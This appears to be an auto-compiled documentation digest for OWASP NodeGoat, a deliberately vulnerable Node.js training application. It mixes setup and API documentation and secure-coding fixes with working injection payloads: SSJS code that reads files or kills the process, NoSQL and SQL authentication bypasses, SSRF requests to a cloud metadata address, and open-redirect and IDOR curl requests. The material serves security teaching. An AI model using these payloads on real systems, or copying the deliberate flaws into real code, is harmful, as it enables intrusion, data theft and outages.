### MongoDB Connection String Example Source: https://github.com/owasp/nodegoat/blob/master/README.md Example of a MongoDB connection string format required for configuring the NodeGoat application on Heroku. This string includes placeholders for username, password, database name, and cluster-specific details. ```text mongodb://:@/?ssl=true&replicaSet=&authSource=admin&retryWrites=true&w=majority ``` -------------------------------- ### Profile API (GET) Source: https://context7.com/owasp/nodegoat/llms.txt Retrieves the authenticated user's profile information via GET. This endpoint is vulnerable as it exposes sensitive data such as Social Security Number (SSN) and Date of Birth (DOB) unencrypted (A6 - Sensitive Data Exposure). Requires authentication cookies. ```bash curl -X GET http://localhost:4000/profile \ -b cookies.txt # Response: HTML page with user profile data # Fields: firstName, lastName, ssn, dob, address, bankAcc, bankRouting, website # Vulnerability: SSN and DOB stored unencrypted (A6 - Sensitive Data Exposure) ``` -------------------------------- ### Deploy NodeGoat with Docker Compose Source: https://context7.com/owasp/nodegoat/llms.txt Configuration for deploying the NodeGoat application and its MongoDB dependency using Docker Compose. This setup creates an isolated environment for security testing. ```yaml version: '3' services: web: build: . ports: - "4000:4000" depends_on: - mongo environment: - MONGODB_URI=mongodb://mongo:27017/nodegoat mongo: image: mongo:latest ports: - "27017:27017" ``` -------------------------------- ### Secure Password Storage with bcrypt in Node.js Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a2.html Demonstrates how to securely store user passwords using bcrypt for one-way encryption with salt hashing in Node.js. It includes examples for generating a password hash and comparing it during login. ```javascript var salt = bcrypt.genSaltSync(); var passwordHash = bcrypt.hashSync(password, salt); // Create user document var user = { userName: userName, firstName: firstName, lastName: lastName, password: passwordHash }; ``` ```javascript if (bcrypt.compareSync(password, user.password)) { callback(null, user); } else { callback(invalidPasswordError, null); } ``` -------------------------------- ### SQL Injection Example Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a1.html Demonstrates a basic SQL query susceptible to injection. An attacker can bypass authentication by manipulating the username input to alter the query's logic, for example, by using 'admin' --. ```sql SELECT * FROM accounts WHERE username = '$username' AND password = '$password' ``` -------------------------------- ### Node.js Express Server Configuration Source: https://context7.com/owasp/nodegoat/llms.txt Sets up the main Express.js server, including middleware for JSON parsing, URL encoding, session management, and template rendering. It connects to a MongoDB database and starts the HTTP server on a specified port. Note the vulnerable session configuration. ```javascript const express = require("express"); const session = require("express-session"); const MongoClient = require("mongodb").MongoClient; const consolidate = require("consolidate"); const swig = require("swig"); const app = express(); const port = process.env.PORT || 4000; const db = process.env.MONGODB_URI || "mongodb://localhost:27017/nodegoat"; MongoClient.connect(db, (err, db) => { if (err) { console.log("Error: DB: connect"); process.exit(1); } // Body parser middleware app.use(express.json()); app.use(express.urlencoded({ extended: false })); // Session management (vulnerable configuration) app.use(session({ secret: "session_cookie_secret_key_here", saveUninitialized: true, resave: true })); // Template engine setup app.engine(".html", consolidate.swig); app.set("view engine", "html"); app.set("views", `${__dirname}/app/views`); // Static assets app.use(express.static(`${__dirname}/app/assets`)); // Start server http.createServer(app).listen(port, () => { console.log(`Express http server listening on port ${port}`); }); }); ``` -------------------------------- ### Insecure Password Storage in Node.js Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a2.html Illustrates a basic, insecure method of storing user passwords directly in the database without any form of hashing or encryption, as found in the original NodeGoat example. ```javascript // Create user document var user = { userName: userName, firstName: firstName, lastName: lastName, password: password //received from request param }; ``` -------------------------------- ### GET /profile Source: https://context7.com/owasp/nodegoat/llms.txt Retrieves the authenticated user's profile information. Vulnerable to sensitive data exposure (SSN/DOB). ```APIDOC ## GET /profile ### Description Retrieves profile information for the currently authenticated user. ### Method GET ### Endpoint /profile ### Response #### Success Response (200) - **firstName** (string) - **lastName** (string) - **ssn** (string) - Sensitive data - **dob** (string) - Sensitive data - **address** (string) - **bankAcc** (string) - **bankRouting** (string) - **website** (string) ``` -------------------------------- ### Denial of Service Attack using eval() in Node.js Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a1.html Shows examples of Denial of Service attacks against Node.js applications by sending specific commands to the eval() function. These commands can consume all CPU resources or terminate the process. ```javascript while(1) ``` ```javascript process.exit() ``` ```javascript process.kill(process.pid) ``` -------------------------------- ### User Authentication API (Logout) Source: https://context7.com/owasp/nodegoat/llms.txt Handles user logout requests via GET. This endpoint destroys the user's session and redirects them to the home page. It requires an active session cookie to function. ```bash curl -X GET http://localhost:4000/logout -b cookies.txt # Response: Destroys session, redirects to / ``` -------------------------------- ### NoSQL Injection Exploit (NodeGoat Allocations) Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a1.html Provides an example of how to exploit the NoSQL injection vulnerability in the NodeGoat Allocations page. Inputting specific strings into the 'stocks threshold' filter can lead to retrieving all user allocations or causing a denial-of-service by creating an infinite loop. ```javascript 1'; return 1 == '1 ``` ```javascript http://localhost:4000/allocations/2?threshold=5';while(true){};' ``` ```javascript ';while(true){};' ``` -------------------------------- ### Render Benefits Update Form Template Source: https://github.com/owasp/nodegoat/blob/master/app/views/benefits.html This Nunjucks template renders a table of employees with input fields for updating benefits start dates. It includes conditional logic to display success or error messages based on the server response. ```html {% extends "./layout.html" %} {% block title %}Benefits Start Date{% endblock %} {% block content %} {% if updateSuccess %}
Benefits updated successfully.
{% endif %} {% if updateError %}
{{data.updateError}}
{% endif %} {% for user in users %} {% endfor %}
{{user._id.toString()}} {{user.firstName}} {{user.lastName}}
{% endblock %} ``` -------------------------------- ### NoSQL Injection Example (MongoDB) Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a1.html Illustrates a NoSQL injection vulnerability in a MongoDB query. By providing a crafted JSON object, an attacker can exploit comparison operators like $gt to bypass password checks and gain unauthorized access. ```javascript db.accounts.find({username: username, password: password}); ``` ```json { "username": "admin", "password": {"$gt": ""} } ``` -------------------------------- ### Implement Security Headers with Helmet.js in Node.js Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a5.html This code snippet demonstrates how to use the Helmet.js middleware in an Express.js application to set various security-related HTTP headers. It includes examples for preventing clickjacking, disabling caching, enforcing Content Security Policy, enabling HTTP Strict Transport Security, and preventing MIME-type sniffing. ```javascript // Prevent opening page in frame or iframe to protect from clickjacking app.disable("x-powered-by"); // Prevent opening page in frame or iframe to protect from clickjacking app.use(helmet.xframe()); // Prevents browser from caching and storing page app.use(helmet.noCache()); // Allow loading resources only from white-listed domains app.use(helmet.csp()); // Allow communication only on HTTPS app.use(helmet.hsts()); // Forces browser to only use the Content-Type set in the response header instead of sniffing or guessing it app.use(nosniff()); ``` -------------------------------- ### Include CSRF Token in HTML Form Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a8.html This example shows how to include the CSRF token, made available by the server-side middleware, within a hidden form field in an HTML template. This ensures that each form submission carries a unique token that the server can validate to prevent CSRF attacks. ```html ``` -------------------------------- ### SSJS Injection Example (MongoDB $where operator) Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a1.html Shows a Server-Side JavaScript (SSJS) injection vulnerability using MongoDB's $where operator. This operator evaluates JavaScript expressions, allowing attackers to inject malicious code if user inputs are not properly sanitized, potentially leading to unauthorized data access or denial-of-service. ```javascript db.allocationsCollection.find({ $where: "this.userId == '" + parsedUserId + "' && " + "this.stocks > " + "'" + threshold + "'" }); ``` -------------------------------- ### Access Tutorial API Endpoints Source: https://context7.com/owasp/nodegoat/llms.txt Lists cURL commands to access the built-in OWASP Top 10 tutorial documentation. These endpoints provide educational content regarding specific web security vulnerabilities. ```bash curl -X GET http://localhost:4000/tutorial curl -X GET http://localhost:4000/tutorial/a1 curl -X GET http://localhost:4000/tutorial/a10 curl -X GET http://localhost:4000/tutorial/redos curl -X GET http://localhost:4000/tutorial/ssrf ``` -------------------------------- ### Tutorial API Source: https://context7.com/owasp/nodegoat/llms.txt Provides access to OWASP Top 10 tutorial pages, explaining various web application vulnerabilities. ```APIDOC ## GET /tutorial ### Description Accesses the built-in OWASP Top 10 tutorial pages, which explain different types of web application vulnerabilities. ### Method GET ### Endpoint /tutorial /tutorial/ ### Parameters #### Path Parameters - **vulnerability_code** (string) - Optional - The code or abbreviation for a specific vulnerability (e.g., 'a1', 'a10', 'ssrf'). If omitted, the main tutorial page is accessed. ### Request Example ```bash # Access main tutorial (A1 - Injection) curl -X GET http://localhost:4000/tutorial # Access specific vulnerability tutorials curl -X GET http://localhost:4000/tutorial/a1 # Injection curl -X GET http://localhost:4000/tutorial/a10 # Unvalidated Redirects curl -X GET http://localhost:4000/tutorial/ssrf # Server-Side Request Forgery ``` ### Response Returns HTML content for the requested tutorial page. ``` -------------------------------- ### User Authentication API (Signup) Source: https://context7.com/owasp/nodegoat/llms.txt Handles new user account creation via POST. This endpoint is vulnerable because it uses weak password requirements and stores passwords in plain text, violating security best practices (A2 - Broken Authentication). It accepts form-urlencoded data. ```bash # Signup request curl -X POST http://localhost:4000/signup \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "userName=newuser&firstName=John&lastName=Doe&password=test123&verify=test123&email=john@example.com" # Validation rules (weak): # - Username: 1-20 characters # - Password: 1-20 characters (no complexity requirements) # - Email: basic format validation # Response: Renders dashboard on success with new session # Vulnerability: Passwords stored in plain text (A2 - Broken Authentication) ``` -------------------------------- ### Configure HTTPS Server in Node.js Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a6.html This snippet demonstrates how to load SSL/TLS certificates and keys to initialize a secure HTTPS server using the Node.js https module. ```javascript var fs = require("fs"); var https = require("https"); var path = require("path"); var httpsOptions = { key: fs.readFileSync(path.resolve(__dirname, "./app/cert/key.pem")), cert: fs.readFileSync(path.resolve(__dirname, "./app/cert/cert.pem")) }; https.createServer(httpsOptions, app).listen(config.port, function() { console.log("Express https server listening on port " + config.port); }); ``` -------------------------------- ### Execute NodeGoat Lifecycle Commands Source: https://context7.com/owasp/nodegoat/llms.txt Common shell commands for building, running, seeding, and testing the NodeGoat application environment. ```bash docker-compose build docker-compose up npm run db:seed npm run dev npm run test:ci ``` -------------------------------- ### POST /signup Source: https://context7.com/owasp/nodegoat/llms.txt Registers a new user account. Vulnerable to broken authentication as passwords are stored in plain text. ```APIDOC ## POST /signup ### Description Creates a new user account with basic validation. ### Method POST ### Endpoint /signup ### Request Body - **userName** (string) - Required - **firstName** (string) - Required - **lastName** (string) - Required - **password** (string) - Required - **verify** (string) - Required - Must match password - **email** (string) - Required ### Request Example { "userName": "newuser", "firstName": "John", "lastName": "Doe", "password": "test123", "verify": "test123", "email": "john@example.com" } ### Response #### Success Response (200) - Renders dashboard on success with new session ``` -------------------------------- ### Handle Redirect for Learning Resources Link (Node.js) Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a10.html This Node.js code snippet handles a redirect for a learning resources link. It takes a URL from the 'url' query parameter and redirects the user to it without any validation. This can be exploited to redirect users to malicious websites. ```javascript app.get("/learn", function (req, res, next) { return res.redirect(req.query.url); }); ``` -------------------------------- ### Secure Allocation Retrieval in Node.js Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a4.html Demonstrates the transition from an insecure pattern that trusts URL parameters to a secure pattern that uses server-side session data to authorize resource access. ```javascript // Insecure: Fetching based on URL parameter var userId = req.params.userId; allocationsDAO.getByUserId(userId, function(error, allocations) { if (error) return next(error); return res.render("allocations", allocations); }); // Secure: Fetching based on session data var userId = req.session.userId; allocationsDAO.getByUserId(userId, function(error, allocations) { if (error) return next(error); return res.render("allocations", allocations); }); ``` -------------------------------- ### Perform Redirect Requests via cURL Source: https://context7.com/owasp/nodegoat/llms.txt Demonstrates how to perform standard and malicious open redirect requests using cURL. These requests target the /learn endpoint to test for unvalidated redirect vulnerabilities. ```bash curl -X GET "http://localhost:4000/learn?url=https://owasp.org" -b cookies.txt -L curl -X GET "http://localhost:4000/learn?url=http://malicious-site.com/fake-login" -b cookies.txt ``` -------------------------------- ### Render Asset Allocations with Nunjucks Source: https://github.com/owasp/nodegoat/blob/master/app/views/allocations.html This template iterates through an array of allocation objects to display user-specific asset distribution. It expects an 'allocations' object containing first names, last names, and percentage values for stocks, funds, and bonds. ```html {% for allocation in allocations %} Asset Allocations for {{allocation.firstName}} {{allocation.lastName}}

Domestic Stocks : {{allocation.stocks}} %

Funds: {{allocation.funds}} %

Bonds: {{allocation.bonds}} %

{% endfor %} ``` -------------------------------- ### User Authentication API (Login) Source: https://context7.com/owasp/nodegoat/llms.txt Handles user login requests via POST. This implementation is vulnerable to user enumeration attacks due to distinct error messages for invalid usernames versus invalid passwords. It uses form-urlencoded data and manages cookies. ```bash # Login request curl -X POST http://localhost:4000/login \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "userName=user1&password=User1_123" \ -c cookies.txt # Default test accounts: # Admin: userName=admin, password=Admin_123 # User1: userName=user1, password=User1_123 # User2: userName=user2, password=User2_123 # Response: Redirects to /dashboard on success, renders login page with error on failure # Vulnerability: Different error messages for invalid username vs invalid password # - "Invalid username" when user doesn't exist # - "Invalid password" when password is wrong ``` -------------------------------- ### Profile API - ReDoS Vulnerability Source: https://context7.com/owasp/nodegoat/llms.txt Demonstrates the POST /profile endpoint and a ReDoS vulnerability caused by a regex pattern. ```APIDOC ## POST /profile ### Description This endpoint is used for profile-related operations and is vulnerable to ReDoS (Regular Expression Denial of Service) due to a catastrophic backtracking pattern. ### Method POST ### Endpoint /profile ### Parameters #### Request Body - **bankRouting** (string) - Required - A string of zeros used to trigger the ReDoS vulnerability. ### Request Example ```bash curl -X POST http://localhost:4000/profile \ -H "Content-Type: application/x-www-form-urlencoded" \ -b cookies.txt \ -d "bankRouting=00000000000000000000000000000000000000000000000" ``` ### Vulnerability - **ReDoS**: The regex `/([0-9]+)+\#/` causes exponential time complexity. The fix is to use `/([0-9]+)\#/`. ``` -------------------------------- ### Manage Memos with MemosDAO Source: https://context7.com/owasp/nodegoat/llms.txt Demonstrates the use of MemosDAO to insert and retrieve memos. Note that the insert method is intentionally vulnerable to XSS due to a lack of input sanitization. ```javascript const MemosDAO = require("./app/data/memos-dao").MemosDAO; const memosDAO = new MemosDAO(db); memosDAO.insert("", (err, result) => { if (err) return console.error(err); console.log("Memo created"); }); memosDAO.getAllMemos((err, memos) => { if (err) return console.error(err); console.log("Memos:", memos); }); ``` -------------------------------- ### Implement Content Security Policy (CSP) Header Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a3.html This snippet demonstrates how to set a Content-Security-Policy HTTP header to restrict resource loading to the application's own domain and subdomains, effectively mitigating XSS risks. ```HTTP Content-Security-Policy: default-src 'self' *.mydomain.com ``` -------------------------------- ### POST /login Source: https://context7.com/owasp/nodegoat/llms.txt Authenticates a user. Vulnerable to user enumeration due to distinct error messages for invalid usernames versus invalid passwords. ```APIDOC ## POST /login ### Description Handles user authentication with username and password validation. ### Method POST ### Endpoint /login ### Request Body - **userName** (string) - Required - The username of the account - **password** (string) - Required - The password for the account ### Request Example { "userName": "user1", "password": "User1_123" } ### Response #### Success Response (302) - Redirects to /dashboard #### Error Response (401) - Returns specific error messages: "Invalid username" or "Invalid password" ``` -------------------------------- ### Implement Role-Based Access Control Middleware in Express Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a7.html This snippet demonstrates how to create and apply an isAdmin middleware function to protect sensitive routes. It verifies the user's role from the database before allowing access to the requested controller. ```javascript this.isAdminUserMiddleware = function(req, res, next) { if (req.session.userId) { userDAO.getUserById(req.session.userId, function(err, user) { if(user && user.isAdmin) { next(); } else { return res.redirect("/login"); } }); } else { console.log("redirecting to login"); return res.redirect("/login"); } }; ``` ```javascript // Applying middleware to routes app.get("/benefits", isLoggedIn, isAdmin, benefitsHandler.displayBenefits); app.post("/benefits", isLoggedIn, isAdmin, benefitsHandler.updateBenefits); ``` -------------------------------- ### Manage User Authentication with UserDAO Source: https://context7.com/owasp/nodegoat/llms.txt Demonstrates user CRUD operations and login validation using the UserDAO. Note that this implementation stores passwords in plain text, which is a security vulnerability. ```javascript const UserDAO = require("./app/data/user-dao").UserDAO; const userDAO = new UserDAO(db); userDAO.addUser("username", "John", "Doe", "password123", "john@example.com", (err, user) => { if (err) return console.error(err); console.log("Created user:", user); }); userDAO.validateLogin("username", "password123", (err, user) => { if (err) { if (err.noSuchUser) console.log("User not found"); if (err.invalidPassword) console.log("Wrong password"); return; } console.log("Login successful:", user); }); ``` -------------------------------- ### Exploit IDOR and NoSQL Injection in Allocations API Source: https://context7.com/owasp/nodegoat/llms.txt Shows how to access unauthorized user data via IDOR by changing the userId in the URL, and how to inject malicious code into the threshold parameter to trigger NoSQL injection. ```bash curl -X GET "http://localhost:4000/allocations/1" -b cookies.txt curl -X GET "http://localhost:4000/allocations/2" -b cookies.txt curl -X GET "http://localhost:4000/allocations/1?threshold=0" -b cookies.txt curl -X GET "http://localhost:4000/allocations/1?threshold=0'%3Bwhile(true)%7B%7D'" -b cookies.txt ``` -------------------------------- ### File System Access via SSJS Injection in Node.js Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a1.html Demonstrates how Server-Side JavaScript Injection can be exploited to access the server's file system. Attackers can read directory contents or file contents using Node.js's built-in 'fs' module. ```javascript res.end(require('fs').readdirSync('.').toString()) ``` ```javascript res.end(require('fs').readdirSync('..').toString()) ``` ```javascript res.end(require('fs').readFileSync(filename)) ``` -------------------------------- ### Rendering Environmental Scripts in Jinja2 Source: https://github.com/owasp/nodegoat/blob/master/app/views/layout.html This snippet shows how to iterate over a list of environmental scripts and render each one using Jinja2 templating. This is typically used to include JavaScript files or other dynamic content. ```Jinja2 {% for script in environmentalScripts %} {{script}} {% endfor %} ``` -------------------------------- ### User Profile and Logout Links in Jinja2 Source: https://github.com/owasp/nodegoat/blob/master/app/views/layout.html This snippet shows how user-specific information like first and last names are displayed, along with profile and logout links, using Jinja2 templating. It also includes conditional rendering for the profile link if the user is not an administrator. ```Jinja2 * [{{firstName}} {{lastName}}](#) {% if !user.isAdmin %}* [Profile](/profile) {% endif %}* [Log Out](/logout) ``` -------------------------------- ### Manage User Profiles with ProfileDAO Source: https://context7.com/owasp/nodegoat/llms.txt Provides methods to update and retrieve user profile information, including sensitive data like SSN and DOB. This implementation stores sensitive data in plain text. ```javascript const ProfileDAO = require("./app/data/profile-dao").ProfileDAO; const profileDAO = new ProfileDAO(db); profileDAO.updateUser(userId, "John", "Doe", "123-45-6789", "1990-01-15", "123 Main St", "123456789", "123456#", (err, user) => { if (err) return console.error(err); console.log("Profile updated:", user); }); profileDAO.getByUserId(1, (err, user) => { console.log("Profile:", user); }); ``` -------------------------------- ### Unvalidated Redirects Source: https://context7.com/owasp/nodegoat/llms.txt Demonstrates how unvalidated redirect URLs can be exploited to redirect users to malicious sites. The `/learn` endpoint is vulnerable if not properly validated. ```APIDOC ## GET /learn ### Description Handles redirects based on the `url` query parameter. This endpoint is vulnerable to Open Redirect attacks if the `url` parameter is not validated. ### Method GET ### Endpoint /learn?url= ### Query Parameters - **url** (string) - Required - The URL to redirect to. This parameter is not validated and can be exploited. ### Request Example ```bash # Normal redirect curl -X GET "http://localhost:4000/learn?url=https://owasp.org" \ -b cookies.txt -L # Open Redirect attack (phishing) curl -X GET "http://localhost:4000/learn?url=http://malicious-site.com/fake-login" \ -b cookies.txt ``` ### Response Redirects the user to the specified URL. ``` -------------------------------- ### Profile Data Access Object (ProfileDAO) Source: https://context7.com/owasp/nodegoat/llms.txt Handles user profile updates, including sensitive personal information. This DAO is vulnerable as it stores sensitive data like SSN and DOB in plain text. ```APIDOC ## ProfileDAO ### Description Manages user profile information, including sensitive data such as Social Security Number (SSN) and Date of Birth (DOB). This DAO is vulnerable because it stores this sensitive information unencrypted. ### Methods - **updateUser(userId, firstName, lastName, ssn, dob, address, bankAcc, bankRouting, callback)**: Updates a user's profile information. - **getByUserId(userId, callback)**: Retrieves a user's profile information by their ID. ### Request Example (JavaScript) ```javascript const ProfileDAO = require("./app/data/profile-dao").ProfileDAO; const profileDAO = new ProfileDAO(db); // Update user profile (sensitive data stored unencrypted - vulnerable) profileDAO.updateUser( userId, "John", // firstName "Doe", // lastName "123-45-6789", // ssn (stored plain text) "1990-01-15", // dob (stored plain text) "123 Main St", // address "123456789", // bankAcc "123456#", // bankRouting (err, user) => { if (err) return console.error(err); console.log("Profile updated:", user); } ); // Get profile by user ID profileDAO.getByUserId(1, (err, user) => { console.log("Profile:", user); }); ``` ### Response Example (updateUser callback) ```json { "userId": 1, "firstName": "John", "lastName": "Doe", "ssn": "123-45-6789", "dob": "1990-01-15", "address": "123 Main St", "bankAcc": "123456789", "bankRouting": "123456#" } ``` ``` -------------------------------- ### Manage Investment Allocations with AllocationsDAO Source: https://context7.com/owasp/nodegoat/llms.txt Handles investment allocation updates and retrieval. The getByUserIdAndThreshold method is vulnerable to NoSQL injection due to the use of a $where clause. ```javascript const AllocationsDAO = require("./app/data/allocations-dao").AllocationsDAO; const allocationsDAO = new AllocationsDAO(db); allocationsDAO.update(userId, 40, 35, 25, (err, allocations) => { if (err) return console.error(err); console.log("Updated:", allocations); }); allocationsDAO.getByUserIdAndThreshold(1, "20", (err, allocations) => { if (err) return console.error(err); console.log("Allocations where stocks > threshold:", allocations); }); ``` -------------------------------- ### Jinja2 Block and Content Placeholders Source: https://github.com/owasp/nodegoat/blob/master/app/views/layout.html This snippet illustrates the use of Jinja2's block and content placeholders. The `{% block title %}{% endblock %}` and `{% block content %}{% endblock %}` are used to define areas where child templates can inject their specific title and content. ```Jinja2 {% block title %}{% endblock %} {% block content %}{% endblock %} ``` -------------------------------- ### Profile API (POST) Source: https://context7.com/owasp/nodegoat/llms.txt Updates user profile information via POST. This endpoint contains a Regular Expression Denial of Service (ReDoS) vulnerability within the bank routing number validation. It accepts form-urlencoded data and requires authentication cookies. ```bash # Normal update request curl -X POST http://localhost:4000/profile \ -H "Content-Type: application/x-www-form-urlencoded" \ -b cookies.txt \ -d "firstName=John&lastName=Doe&ssn=123-45-6789&dob=1990-01-15&address=123 Main St&bankAcc=123456789&bankRouting=123456#" ``` -------------------------------- ### Benefits API (Admin Only) Source: https://context7.com/owasp/nodegoat/llms.txt Endpoints for managing user benefits, with vulnerabilities related to access control and privilege escalation. ```APIDOC ## GET /benefits ### Description Displays all non-admin users and their benefit start dates. This endpoint should require admin privileges but does not enforce it, leading to a Missing Function Level Access Control vulnerability. ### Method GET ### Endpoint /benefits ### Request Example ```bash curl -X GET http://localhost:4000/benefits -b cookies.txt ``` ### Response - Returns an HTML page listing all users with their benefit start dates. ### Vulnerability - **Missing Function Level Access Control**: Any authenticated user can access this admin-only page. ``` ```APIDOC ## POST /benefits ### Description Updates a user's benefit start date. This endpoint should require admin privileges but allows regular users to modify benefits, leading to horizontal privilege escalation. ### Method POST ### Endpoint /benefits ### Parameters #### Request Body - **userId** (string) - Required - The ID of the user whose benefit date is to be updated. - **benefitStartDate** (string) - Required - The new benefit start date in YYYY-MM-DD format. ### Request Example ```bash curl -X POST http://localhost:4000/benefits \ -H "Content-Type: application/x-www-form-urlencoded" \ -b cookies.txt \ -d "userId=2&benefitStartDate=2024-01-01" ``` ### Response - Returns the updated benefits page with a success message. ### Vulnerability - **Horizontal Privilege Escalation**: Regular users can modify benefits for other users. ``` -------------------------------- ### Encrypt and Decrypt Sensitive Data with Crypto Source: https://github.com/owasp/nodegoat/blob/master/app/views/tutorial/a6.html This snippet shows how to use the Node.js crypto module to encrypt sensitive user information before database storage and decrypt it for display, ensuring data at rest is protected. ```javascript var crypto = require("crypto"); var config = { cryptoKey: "a_secure_key_for_crypto_here", cryptoAlgo: "aes256", iv: "" }; var createIV = function() { var salt = crypto.randomBytes(16); return crypto.pbkdf2Sync(config.cryptoKey, salt, 100000, 512, "sha512"); }; var encrypt = function(toEncrypt) { config.iv = createIV(); var cipher = crypto.createCipheriv(config.cryptoAlgo, config.cryptoKey, config.iv); return cipher.update(toEncrypt, "utf8", "hex") + cipher.final("hex"); }; var decrypt = function(toDecrypt) { var decipher = crypto.createDecipheriv(config.cryptoAlgo, config.cryptoKey, config.iv); return decipher.update(toDecrypt, "hex", "utf8") + decipher.final("utf8"); }; ``` -------------------------------- ### Allocations API Source: https://context7.com/owasp/nodegoat/llms.txt Endpoints for retrieving and managing user investment allocations, featuring IDOR and NoSQL Injection vulnerabilities. ```APIDOC ## GET /allocations/:userId ### Description Retrieves investment allocations for a specific user. This endpoint is vulnerable to Insecure Direct Object Reference (IDOR) and NoSQL Injection. ### Method GET ### Endpoint /allocations/:userId ### Parameters #### Path Parameters - **userId** (string) - Required - The ID of the user whose allocations are to be retrieved. #### Query Parameters - **threshold** (string) - Optional - A parameter used in filtering allocations, vulnerable to NoSQL Injection. ### Request Example ```bash # Get own allocations (userId from session) curl -X GET "http://localhost:4000/allocations/1" -b cookies.txt # IDOR attack - access another user's data curl -X GET "http://localhost:4000/allocations/2" -b cookies.txt # NoSQL Injection via threshold parameter curl -X GET "http://localhost:4000/allocations/1?threshold=0" -b cookies.txt # NoSQL Injection attack - bypass threshold check curl -X GET "http://localhost:4000/allocations/1?threshold=0'%3Bwhile(true)%7B%7D'" -b cookies.txt ``` ### Response #### Success Response (200) - **userId** (string) - The ID of the user. - **stocks** (object) - User's stock allocations. - **funds** (object) - User's fund allocations. - **bonds** (object) - User's bond allocations. - **userName** (string) - The username of the user. - **firstName** (string) - The first name of the user. - **lastName** (string) - The last name of the user. ### Vulnerability - **IDOR**: `userId` is taken from the URL instead of the session. - **NoSQL Injection**: The `threshold` parameter is unsanitized and used in a `$where` clause. ``` -------------------------------- ### Redirect Handler - Open Redirect Vulnerability Source: https://context7.com/owasp/nodegoat/llms.txt Handles external resource redirects and is vulnerable to Open Redirect. ```APIDOC ## GET /learn ### Description Handles external resource redirects. This endpoint is vulnerable to Open Redirect, allowing redirection to arbitrary external URLs. ### Method GET ### Endpoint /learn ### Parameters #### Query Parameters - **url** (string) - Required - The URL to redirect to. This parameter is not properly validated, leading to the vulnerability. ### Request Example ```bash # Example of a potentially malicious redirect curl -X GET "http://localhost:4000/learn?url=http://evil.com" ``` ### Vulnerability - **Open Redirect**: The `url` parameter is used for redirection without sufficient validation, allowing attackers to redirect users to malicious websites. ``` -------------------------------- ### Exploit SSRF in Research API Source: https://context7.com/owasp/nodegoat/llms.txt Demonstrates Server-Side Request Forgery by manipulating the URL parameter to force the server to make requests to internal services or cloud metadata endpoints. ```bash curl -X GET "http://localhost:4000/research?symbol=&url=http://localhost:27017/" -b cookies.txt curl -X GET "http://localhost:4000/research?symbol=&url=http://169.254.169.254/latest/meta-data/" -b cookies.txt ``` -------------------------------- ### Allocations Data Access Object (AllocationsDAO) Source: https://context7.com/owasp/nodegoat/llms.txt Manages investment allocation records. This DAO is vulnerable to NoSQL injection through its `getByUserIdAndThreshold` method. ```APIDOC ## AllocationsDAO ### Description Manages investment allocation data (stocks, funds, bonds). The `getByUserIdAndThreshold` method is vulnerable to NoSQL injection due to improper handling of the `threshold` parameter. ### Methods - **update(userId, stocks, funds, bonds, callback)**: Updates investment allocations for a user. - **getByUserIdAndThreshold(userId, threshold, callback)**: Retrieves allocations for a user where the 'stocks' value exceeds the given threshold. Vulnerable to NoSQL injection. ### Request Example (JavaScript) ```javascript const AllocationsDAO = require("./app/data/allocations-dao").AllocationsDAO; const allocationsDAO = new AllocationsDAO(db); // Update allocations (stocks, funds, bonds must total 100) allocationsDAO.update(userId, 40, 35, 25, (err, allocations) => { if (err) return console.error(err); console.log("Updated:", allocations); // { userId, stocks: 40, funds: 35, bonds: 25, userName, firstName, lastName } }); // Get allocations with optional threshold filter (vulnerable to NoSQL injection) allocationsDAO.getByUserIdAndThreshold(1, "20", (err, allocations) => { if (err) return console.error(err); console.log("Allocations where stocks > threshold:", allocations); }); // Vulnerable $where clause in getByUserIdAndThreshold: // { $where: `this.userId == ${userId} && this.stocks > '${threshold}'` } // Injection example: threshold = "0'; return true; '" ``` ### Response Example (update callback) ```json { "userId": 1, "stocks": 40, "funds": 35, "bonds": 25, "userName": "johndoe", "firstName": "John", "lastName": "Doe" } ``` ``` -------------------------------- ### Exploit SSJS Injection in Contributions API Source: https://context7.com/owasp/nodegoat/llms.txt Demonstrates Server-Side JavaScript Injection by passing arbitrary code into the preTax parameter, which is processed by an unsafe eval() function. ```bash curl -X POST http://localhost:4000/contributions \ -H "Content-Type: application/x-www-form-urlencoded" \ -b cookies.txt \ -d "preTax=1;process.exit();&afterTax=0&roth=0" ``` -------------------------------- ### User Data Access Object (UserDAO) Source: https://context7.com/owasp/nodegoat/llms.txt Handles user CRUD operations and authentication. Note: This DAO stores passwords in plain text, which is a security vulnerability. ```APIDOC ## UserDAO ### Description Manages user data, including creation, retrieval, and authentication. This DAO is vulnerable due to plain text password storage. ### Methods - **addUser(userName, firstName, lastName, password, email, callback)**: Adds a new user. - **validateLogin(userName, password, callback)**: Validates user credentials. - **getUserById(userId, callback)**: Retrieves a user by their ID. - **getUserByUserName(userName, callback)**: Retrieves a user by their username. ### Request Example (JavaScript) ```javascript const UserDAO = require("./app/data/user-dao").UserDAO; // Initialize with database connection const userDAO = new UserDAO(db); // Add new user (password stored in plain text - vulnerable) userDAO.addUser("username", "John", "Doe", "password123", "john@example.com", (err, user) => { if (err) return console.error(err); console.log("Created user:", user); // user: { _id, userName, firstName, lastName, password, email, benefitStartDate } }); // Validate login credentials userDAO.validateLogin("username", "password123", (err, user) => { if (err) { if (err.noSuchUser) console.log("User not found"); if (err.invalidPassword) console.log("Wrong password"); return; } console.log("Login successful:", user); }); // Get user by ID userDAO.getUserById(1, (err, user) => { console.log("User:", user); }); // Get user by username userDAO.getUserByUserName("admin", (err, user) => { console.log("User:", user); }); ``` ### Response Example (addUser callback) ```json { "_id": "some_id", "userName": "username", "firstName": "John", "lastName": "Doe", "password": "password123", "email": "john@example.com", "benefitStartDate": "2023-01-01T00:00:00.000Z" } 